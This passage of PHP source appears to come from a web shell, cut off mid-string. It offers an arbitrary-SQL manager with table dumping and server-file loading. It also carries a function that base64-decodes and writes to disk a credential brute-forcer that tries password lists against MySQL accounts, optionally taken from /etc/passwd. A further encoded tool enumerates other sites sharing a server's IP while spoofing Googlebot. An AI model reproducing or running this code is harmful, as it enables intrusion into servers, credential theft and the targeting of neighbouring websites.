				case "UTF-8": $db->setCharset('utf8'); break;

				case "KOI8-R": $db->setCharset('koi8r'); break;

				case "KOI8-U": $db->setCharset('koi8u'); break;

				case "cp866": $db->setCharset('cp866'); break;

			}

			$db->listDbs();

			echo "<select name=sql_base><option value=''></option>";

			while($item = $db->fetch()) {

				list($key, $value) = each($item);

				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';

			}

			echo '</select>';

		}

		else echo $tmp;

	}else

		echo $tmp;

	echo "</td>

				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>

                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>

			</tr>

		</table>

		<script>

            s_db='".@addslashes($_POST['sql_base'])."';

            function fs(f) {

                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};

                    if(f.p1) f.p1.value='';

                    if(f.p2) f.p2.value='';

                    if(f.p3) f.p3.value='';

                }

            }

			function st(t,l) {

				d.sf.p1.value = 'select';

				d.sf.p2.value = t;

                if(l && d.sf.p3) d.sf.p3.value = l;

				d.sf.submit();

			}

			function is() {

				for(i=0;i<d.sf.elements['tbl[]'].length;++i)

					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;

			}

		</script>";

	if(isset($db) && $db->link){

		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";

			if(!empty($_POST['sql_base'])){

				$db->selectdb($_POST['sql_base']);

				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";

				$tbls_res = $db->listTables();

				while($item = $db->fetch($tbls_res)) {

					list($key, $value) = each($item);

                    if(!empty($_POST['sql_count']))

                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));

					$value = htmlspecialchars($value);

					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";

				}

				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";

				if(@$_POST['p1'] == 'select') {

					$_POST['p1'] = 'query';

                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;

					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);

					$num = $db->fetch();

					$pages = ceil($num['n'] / 30);

                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";

                    echo " of $pages";

                    if($_POST['p3'] > 1)

                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";

                    if($_POST['p3'] < $pages)

                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";

                    $_POST['p3']--;

					if($_POST['type']=='pgsql')

						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);

					else

						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';

					echo "<br><br>";

				}

				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {

					$db->query(@$_POST['p2']);

					if($db->res !== false) {

						$title = false;

						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';

						$line = 1;

						while($item = $db->fetch())	{

							if(!$title)	{

								echo '<tr>';

								foreach($item as $key => $value)

									echo '<th>'.$key.'</th>';

								reset($item);

								$title=true;

								echo '</tr><tr>';

								$line = 2;

							}

							echo '<tr class="l'.$line.'">';

							$line = $line==1?2:1;

							foreach($item as $key => $value) {

								if($value == null)

									echo '<td><i>null</i></td>';

								else

									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';

							}

							echo '</tr>';

						}

						echo '</table>';

					} else {

						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';

					}

				}

				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";

                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))

                    echo htmlspecialchars($_POST['p2']);

                echo "</textarea><br/><input type=submit value='Execute'>";

				echo "</td></tr>";

			}

			echo "</table></form><br/>";

            if($_POST['type']=='mysql') {

                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");

                if($db->fetch())

                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";

            }

			if(@$_POST['p1'] == 'loadfile') {

				$file = $db->loadFile($_POST['p2']);

				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';

			}

	} else {

        echo htmlspecialchars($db->error());

    }

	echo '</div>';

    yemenfooter();

    

 }
 function yemenbf()
 {
 yemenhead();
   
$cp1 = 'PD9waHAKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICcKPGhlYWQ+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKICAgIGZvbnQtc2l6ZTogMThweDsKCWNvbG9yOiAjY2NjY2NjOwp9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsKZm9udC13ZWlnaHQ6IGJvbGQ7CmNvbG9yOiAjY2NjY2NjOwpkYXNoZWQgI2ZmZmZmZjsKYm9yZGVyOiAxcHgKc29saWQgIzJDMkMyQzsKYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOAp9CmEgewoJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsKCXZlcnRpY2FsLWFsaWduOiBib3R0b207Cgljb2xvcjogIzAwMDsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCWZvbnQtc2l6ZTogMjBweDsKCW1hcmdpbjogOHB4OwoJcGFkZGluZzogNnB4OwoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7Cn0KYTpob3ZlciB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4OwoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsKCWNvbG9yOiAjMzMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwoJZm9udC1zaXplOiAyMHB4OwoJbWFyZ2luOiA4cHg7CglwYWRkaW5nOiA2cHg7Cglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsKfQouc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouc3R5bGUyIHsKCWNvbG9yOiAjRkZGRkZGOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLnN0eWxlMyB7Cgljb2xvcjogI0ZGRkZGRjs
KfQotLT4KPC9zdHlsZT4KCjwvaGVhZD4KJzsKZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApIAp7CiRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7aWYoJHNpemUgIT0gMCkgCnsKJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjt9CiRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjtpZigkY2hlY2tlZCkgJHJldCAuPSAiIGNoZWNrZWQiO3JldHVybiAkcmV0LiI+Ijt9CmVjaG8gIjxicj48dGl0bGU+QnJ1dGUgRm9yY2UgQnkgQkxBQ0suSmFHdUFyPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTtlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7ZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTtlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOwoKaWYoJF9QT1NUWydwYWdlJ109PSdmaW5kJykKewppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJmlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQ
p7CmlmKCRfUE9TVFsndHlwZSddID09ICdwYXNzd2QnKXsKJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CmZvcmVhY2goJGUgYXMgJHZhbHVlKXsKJGsgPSBleHBsb2RlKCI6IiwkdmFsdWUpOwokdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7Cn0KfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOwp9CiRhMSA9IGV4cGxvZGUoIiAiLCR1c2VybmFtZSk7CiRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsKJGlkMiA9IGNvdW50KCRhMik7CiRvayA9IDA7CmZvcmVhY2goJGExIGFzICR1c2VyICkKewppZigkdXNlciAhPT0gJycpCnsKJHVzZXI9dHJpbSgkdXNlcik7CmZvcigkaT0wOyRpPD0kaWQyOyRpKyspCnsKJHBhc3MgPSB0cmltKCRhMlskaV0pOwppZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCnsKZWNobyAiQkxBQ0t+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiRvaysrOwp9Cn0KfQp9CmVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBDcGFuZWwgQnkgQkxBQ0sgU2NyaXB0IE5hbWU8L2I+IjsKZWNobyAiPGNlbnRlcj48Yj48YSBocmVmP
SIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KfQo7ZWNobyAnCgoKCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQogICAgPC9zdHJvbmc+CiAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRyPgogICAgICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PGNlbnRlcj48YnI+CgkJPC9zdHJvbmc+CgkJPGEgaHJlZj0iaHR0cDovL3d3dy5mYWNlYm9vay5jb20vYmxhY2suamFndWFyLjc1IiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPkRldmVsb3BlZCBCeSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPkJMQUNLLkphR3VBcjwvZm9udD48L3N0cm9uZz48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvY2VudGVyPjwvdGQ+PC9mb250PgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZD4KICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VXNlciA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2
YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5QYXNzIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI0MCIgcm93cz0iMTAiIG5hbWU9InBhc3N3b3JkcyI+PC90ZXh0YXJlYT48L3N0cm9uZz48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+Cgk8c3Ryb25nPlR5cGUgOjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgogICAgPHNwYW4gY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5TaW1wbGUgOiA8L3N0cm9uZz4gPC9zcGFuPgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+CiAgICA8Zm9udCBjbGFzcz0ic3R5bGUyIj48c3Ryb25
nPi9ldGMvcGFzc3dkIDogPC9zdHJvbmc+IDwvZm9udD4KCTxzdHJvbmc+Cgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJwYXNzd2QiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPjxzcGFuIGNsYXNzPSJzdHlsZTMiPjxzdHJvbmc+Cgk8L3N0cm9uZz4KCTwvc3Bhbj4KICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdGFydCI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8dHI+CjwvZm9ybT4gICAgCiAgICAKICAgIAogICAKJzsKaWYoJF9QT1NUWydhdHQnXT09bnVsbCkKewplY2hvICcJCQkJCQkgJzsKfWVsc2V7CmVjaG8gIgkJCQkJCSAKCQkJCQkJIAoiOwp9';
$file = fopen("cpanel.php" ,"w+");
$file = fopen("cpanel.php" ,"w+");
$write = fwrite ($file ,base64_decode($cp1));
fclose($file);
   echo '<iframe src="cpanel.php" style="height:500px; width:1500px; border:0px;" name="brute">';
   yemenfooter();
   }
   
   function yemenrev()
   {
   
$reverse = 'PGh0bWw+CjxoZWFkPgo8dGl0bGU+cmV2ZXJzZSBJUCBieSBCTEFDSy5KYUd1QXIgPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+CjwvaGVhZD4KCjw/cGhwCgoKCi8vRWRpdCBieSBCTEFDSy5KYUd1QXIKc2V0X3RpbWVfbGltaXQoMCk7CgoJCgllcnJvcl9yZXBvcnRpbmcoMCk7CgkvL2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIm9uIik7CiAgICAKCgoKICAgIAogICAgZWNobycKICAgIDxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IGNvbG9yPSIjMDAwMEZGIj5Db2RlZDwvZm9udD48L2I+IAoJPGZvbnQgY29sb3I9IiNGRkZGRkYiPmJ5PC9mb250PgoJPGI+Cgk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+QkxBQ0suSmFHdUFyPC9mb250PjwvYj48L3A+CiAgICA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBuYW1lPSJmcm0xIiBtZXRob2Q9IkdFVCI+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjQiIGNvbG9yPSIjODAwMDAwIj48Qj5Eb21haW46PC9mb250PjwvQj4gCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBjbGFzcz0idGV4dGEiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZXZlcnNlIGl0ISIgbmFtZT0ic3VibWl0IiBjbGFzcz0iZ3Jvb3Z5YnV0dG9uIi8+CjxiciAvPjxicj4KPGJyPgo8L2Zvcm0+PC9jZW50ZXI+JzsKCWlmIChpc3NldCgkX0dFVFsncyddKSkKCXsKCQkkZCA9IHVybGRlY29kZSg
kX0dFVFsncyddKTsKCgkJaWYgKHByZWdfbWF0Y2goIi9eaHR0cDpcL1wvKFxTKylcLz8vIiwgJGQpID4gMCkKCQl7CgkJCSRkID0gcHJlZ19yZXBsYWNlKCIvXmh0dHA6XC9cLyguKykvIiwgIlxcMSIsICRkKTsKCQkJJGQgPSBzdHJfcmVwbGFjZSgnLycsbnVsbCwkZCk7CgkJfQoKCQlpZiAocHJlZ19tYXRjaCgiL1x3K1wuXHcrLyIsICRkKSAhPSAwKQoJCXsKCQkJLy8gQ2hlY2sgZm9yIGEgdmFsaWQgSVAgQWRkcmVzcywgaWYgaXQgd2Fzbid0IGVudGVyZWQsIHRyeSB0byBsb29rIGl0IHVwIGFzIGEgaG9zdG5hbWUKCQkJaWYgKHByZWdfbWF0Y2goIi9cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9LyIsICRkKSA9PSAxKQoJCQl7CgkJCQkkaXAgPSAkZDsKCQkJfSBlbHNlIHsKCQkJCSRpcCA9IGdldGhvc3RieW5hbWUoJGQpOwoJCQl9CgkJCWlmIChwcmVnX21hdGNoKCIvXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfS8iLCAkaXApID09IDApCgkJCXsKCQkJCWVjaG8gIjxmb250IGNvbG9yPSNGRkZGRkY+Q291bGQgbm90IHJlc29sdmUgJGQgdG8gYW4gSVAgQWRkcmVzczwvZm9udD4iOwoJCQkJZXhpdDsKCQkJfQoJCQkkYWxsRG9tYWlucyA9IGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCJodHRwOi8vd3d3LmJpbmcuY29tL3NlYXJjaD9xPWlwJTNBJGlwJmZpcnN0PTEiLCAwKTsKCQkJZWNobyAiPHRhYmxlIGJvcmRlcj0xPiI7CiRjPTA7CgkJCQlmb3JlYWNoKCRhbGxEb21haW5zIGFzIC
RkKQoJCQkJewokYysrOwp9CgplY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2h1bmcgdGEgY28gPGI+PGZvbnQgY29sb3I9eWVsbG93Pjxmb250IHNpemU9Mz4iLiRjLiI8L2ZvbnQ+PC9mb250PjwvYj4gd2Vic2l0ZXMgdHJlbiBzZXJ2ZXIgPGI+PGJyPjxmb250IGNvbG9yPXJlZD48Zm9udCBzaXplPTM+Ii4kaXAuIjxicj48L2I+PHA+PC9mb250PjwvZm9udD48L2ZvbnQ+IjsKCQkJJGMgPSAwOwoKCgkJCWlmICghaXNzZXQoJF9HRVRbJ2NvbXBhY3QnXSkpCgkJCXsKCQkJCWZvcmVhY2goJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkgCSRjKys7CgkJCQkgCSRlc2QgPSBwcmVnX3JlcGxhY2UoIi9cLi8iLCAiXyIsICRkKTsKCQkJCQllY2hvICI8dHI+PHRkPiRjLjwvdGQ+PHRkPjxhIHRhcmdldD1cIl9ibGFua1wiIGhyZWY9XCJodHRwOi8vJGQvXCI+PGZvbnQgY29sb3I9MDBGRjAwPiRkPC9mb250PjwvYT48L2ZvbnQ+PC90ZD4iOwoJCQkJCWVjaG8gIjx0ZCBzdHlsZT1cImRpc3BsYXk6IG5vbmVcIiBjb2xzcGFuPSczJyBpZD1cIndfJGVzZFwiIGJnY29sb3I9XCIjREVERURFXCI+PHRkPiI7CgppZihpc3NldCgkX0dFVFsnYzJuZCddKSkKewokaXB0aHVjPWdldGhvc3RieW5hbWUoJGQpOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+SVA6PC9mb250Pjxmb250IGNvbG9yPSNGRkZGRkY+Ii4kaXB0aHVjOwppZigkaXA8PiRpcHRodWMpCnsKZWNobyAiPC9mb250Pjxmb250IGNvbG9yPXJlZD49PT48Yj5Nb3ZlZCAhPC9iP
jwvZm9udD4iLiI8L3RkPiI7Cn0KZWxzZQp7CmVjaG8gIjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj49PT48Yj5PSzwvYj48L2ZvbnQ+Ii4iPC90ZD4iOwp9Cn0KCQkJCX0KCQkJCWVjaG8gIjwvdHI+PC90YWJsZT4iOwoJCQl9IGVsc2UgewoJCQkJZm9yZWFjaCAoJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkJZWNobyAiJGQ8YnIgLz4iOwoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkRvbWFpbiBob2FjIGlwIHNhaTogJGQ8L2ZvbnQ+IjsKCQl9Cgl9CmZ1bmN0aW9uIGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCR1cmwsICRtYXhQYWdlcykKewoJJG1heFBhZ2VzID0gKCRtYXhQYWdlcyA9PSAwKSA/IDk5OSA6ICRtYXhQYWdlczsKCSRhbGxSZXN1bHRQYWdlcyA9IGFycmF5KCk7CgkkZmluaXNoZWRQYWdlcyA9YXJyYXkoKTsKCSRhbGxSZXN1bHRQYWdlc1tdPSR1cmw7CgkkYWxsRG9tYWlucyA9IGFycmF5KCk7CgkkYyA9IDA7CgkKCWRvIHsKCQkkYysrOwoKCQkKCQlpZiAoIWVtcHR5KCRhbGxSZXN1bHRQYWdlcykpCgkJewoJCQkvL3Zhcl9kdW1wKCRhbGxSZXN1bHRQYWdlcyk7CgkJCSRyZXN1bHRzID0gZG9SZXN1bHRzUGFnZSgkYWxsUmVzdWx0UGFnZXNbMF0pOwkKCQkJCgkJCWZvcmVhY2ggKCRyZXN1bHRzWydkb21haW5zJ10gYXMgJGQpCgkJCXsKCQkJCSRhbGxEb21haW5zW109JGQ7CgkJCX0KCQkJCgkJCSRmaW5pc2hlZFBhZ2VzW109JGFsbFJlc3VsdFBhZ2VzWzBd
OwoJCQkKCQkJJGFsbFJlc3VsdFBhZ2VzID0gJHJlc3VsdHNbJ3Jlc3VsdFBhZ2VzJ107CgkJCSRuZXdQYWdlcz1hcnJheSgpOwoJCQlmb3JlYWNoKCRhbGxSZXN1bHRQYWdlcyBhcyAkaz0+JHYpCgkJCXsKCQkJCWlmICghaW5fYXJyYXkoJHYsICRmaW5pc2hlZFBhZ2VzKSkKCQkJCXsKCQkJCQkkbmV3UGFnZXNbXT0kdjsKCQkJCX0KCQkJfQoJCQkkYWxsUmVzdWx0UGFnZXMgPSAkbmV3UGFnZXM7CgkJCS8vJGFsbFJlc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRhbGxSZXN1bHRQYWdlcyk7CgkJCQkJCQoJCQkvL2VjaG8gIkZpbmlzaGVkIHBhcnNpbmcgJHVybDxiciAvPiI7CgkJfQkKCX0gd2hpbGUgKCFlbXB0eSgkYWxsUmVzdWx0UGFnZXMpICYmICRjIDwgJG1heFBhZ2VzKTsKCXJldHVybiBhcnJheV91bmlxdWUoJGFsbERvbWFpbnMpOwp9CgpmdW5jdGlvbiBkb1Jlc3VsdHNQYWdlKCR1cmwpCnsKCQoJJHVybCA9IHByZWdfcmVwbGFjZSgiLyZhbXA7LyIsICImIiwgJHVybCk7CgkkYm9keSA9IGRpc2d1aXNlX2N1cmwoJHVybCk7CgkKCSRzdWJzID0gYXJyYXkoKTsKCQoJcHJlZ19tYXRjaF9hbGwoIi9cL3NlYXJjaFw/cT1pcCUzQVxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30mYW1wO2ZpcnN0PVxkezIsM30vaSIsICRib2R5LCAkc3Vicyk7CgkKCQoJZm9yZWFjaCAoJHN1YnNbMF0gYXMgJGsgPT4gJHYpCgl7CgkJJHN1YnNbJGtdID0gImh0dHA6Ly93d3cuYmluZy5jb20iIC4gJHY7Cgl9CgoJJHJ
lc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRzdWJzKTsKCQoJJGJvZHlwYXJ0cyA9IHByZWdfc3BsaXQoIi9jbGFzcz1cInNiX21ldGFcIj48Y2l0ZT4vIiwgJGJvZHkpOwoKCSRib2R5cGFydHMgPSBhcnJheV9yZXZlcnNlKCRib2R5cGFydHMpOwoJYXJyYXlfcG9wKCRib2R5cGFydHMpOwoJCglmb3JlYWNoICgkYm9keXBhcnRzIGFzICRrID0+ICR2KQoJewoJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCR2LCAwLCBzdHJpcG9zKCR2LCAiPC9jaXRlPiIpKTsKCQlpZiAoc3RycG9zKCRib2R5cGFydHNbJGtdLCAiLyIpID09PSBmYWxzZSkKCQl7CgkJCQoJCX0gZWxzZSB7CgkJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCRib2R5cGFydHNbJGtdLCAwLCBzdHJwb3MoJGJvZHlwYXJ0c1ska10sICIvIikpOwoJCX0KCQkkYm9keXBhcnRzWyRrXSA9IHN0cnRvbG93ZXIoJGJvZHlwYXJ0c1ska10pOwoJfQoJCglyZXR1cm4gQXJyYXkoInJlc3VsdFBhZ2VzIiA9PiAkcmVzdWx0UGFnZXMsICJkb21haW5zIiA9PiAkYm9keXBhcnRzKTsKfQoKCgkKCWZ1bmN0aW9uIGRpc2d1aXNlX2N1cmwoJHVybCkKewogICRjdXJsID0gY3VybF9pbml0KCk7CgogIC8vIFNldHVwIGhlYWRlcnMgLSBJIHVzZWQgdGhlIHNhbWUgaGVhZGVycyBmcm9tIEZpcmVmb3ggdmVyc2lvbiAyLjAuMC42CiAgLy8gYmVsb3cgd2FzIHNwbGl0IHVwIGJlY2F1c2UgcGhwLm5ldCBzYWlkIHRoZSBsaW5lIHdhcyB0b28gbG9uZy4gOi8KICAkaGVhZGVyWzBdID
0gIkFjY2VwdDogdGV4dC94bWwsYXBwbGljYXRpb24veG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCwiOwogICRoZWFkZXJbMF0gLj0gInRleHQvaHRtbDtxPTAuOSx0ZXh0L3BsYWluO3E9MC44LGltYWdlL3BuZywqLyo7cT0wLjUiOwogICRoZWFkZXJbXSA9ICJDYWNoZS1Db250cm9sOiBtYXgtYWdlPTAiOwogICRoZWFkZXJbXSA9ICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlIjsKICAkaGVhZGVyW10gPSAiS2VlcC1BbGl2ZTogMzAwIjsKICAkaGVhZGVyW10gPSAiQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNyI7CiAgJGhlYWRlcltdID0gIkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUiOwogICRoZWFkZXJbXSA9ICJQcmFnbWE6ICI7IC8vIGJyb3dzZXJzIGtlZXAgdGhpcyBibGFuay4KCiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdHb29nbGVib3QvMi4xICgraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoZWFkZXIpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFRkVSRVIsICdodHRwOi8vd3d3Lmdvb2dsZS5jb20nKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsZGVmbGF0ZScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX
